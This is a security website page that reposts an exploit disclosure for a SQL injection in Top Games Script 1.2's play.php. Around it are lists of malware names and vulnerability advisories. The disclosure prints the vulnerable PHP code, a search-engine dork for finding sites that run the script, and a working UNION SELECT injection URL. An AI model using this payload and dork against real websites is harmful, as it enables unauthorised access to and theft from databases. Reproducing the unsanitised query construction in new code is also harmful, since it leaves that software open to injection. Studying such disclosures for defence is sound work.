|
Security Bulletins
Latest Malware Updates
Downloader.Busadom!g102/27/2015Infostealer.Posteal02/26/2015Downloader.Busadom02/26/2015Trojan.Ladocosm02/26/2015SONAR.SuspDocRun02/25/2015SONAR.SuspHelpRun02/25/2015W32.Tempedreve.D!inf02/25/2015SONAR.PUA!AlnadInsta02/25/2015SONAR.Infostealer!g502/25/2015SONAR.Infostealer!g402/25/2015 |
06/24/2013
Top Games Script 1.2 (play.php, gid param) - SQL Injection VulnerabilityTopGamesScript-v1.2 (play.php) Sql Injection Vulnerability==================================================================== #################################################################### .:. Author : AtT4CKxT3rR0r1ST .:. Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com] .:. Home : http://www.iphobos.com/blog/ .:. Script : http://sourceforge.net/projects/gamesscript/files/latest/download?source=directory .:. Dork : inurl:"play.php?gid=" "Powered By TopGames.ws" #################################################################### ###################################### VULNERABILITY: CLASSIC MYSQL INJECTION ###################################### /play.php (LINE: 4-19) ----------------------------------------------------------------------------- $gameID= $_GET['gid']; $con = mysql_connect($dbserver,$dbuser,$dbpassword); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db($dbname, $con); $sqlselect="SELECT * FROM games WHERE gameid=" . $gameID; $result = mysql_query($sqlselect); $row = mysql_fetch_array($result); $gwidth = $row['width']; $gheight = $row['height']; ----------------------------------------------------------------------------- ##################################################### EXPLOIT ##################################################### http://localhost/TopGamesScript/play.php?gid=null and 1=2 UNION SELECT 1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 #################################################################### |
Security Advisories Database
Remote Code Execution Vulnerability in Microsoft OpenType Font DriverA remote attacker can execute arbitrary code on the target system. 07/21/2015Multiple Vulnerabilities in Linux kernel03/04/2015SQL Injection Vulnerability in PiwigoSQL inection vulnerability has been discovered in Piwigo. 02/05/2015Cross-site Scripting Vulnerability in DotNetNukeA cross-site scripting (XSS) vulnerability has been discovered in DotNetNuke. 02/05/2015Cross-site Scripting Vulnerability in Hitachi Command SuiteA cross-site scripting vulnerability was found in Hitachi Command Suite. 02/02/2015Denial of service vulnerability in FreeBSD SCTP RE_CONFIG Chunk HandlingAn attacker can perform a denial of service attack. 01/30/2015Denial of service vulnerability in Apache Traffic Server HTTP TRACE Max-ForwardsAn attacker can perform a denial of service attack. 01/30/2015Denial of service vulnerability in MalwareBytes Anti-Exploit "mbae.sys"An attacker can perform a denial of service attack. 01/30/2015Denial of service vulnerability in Linux Kernel spliceAn attacker can perform a denial of service attack. 01/29/2015Denial of service vulnerability in Python Pillow Module PNG Text Chunks DecompressionAn attacker can perform a denial of service attack. 01/20/2015 |
The goal of this project is to make virtual world a safer and better place without child pornography, major computer crime and RIAA.
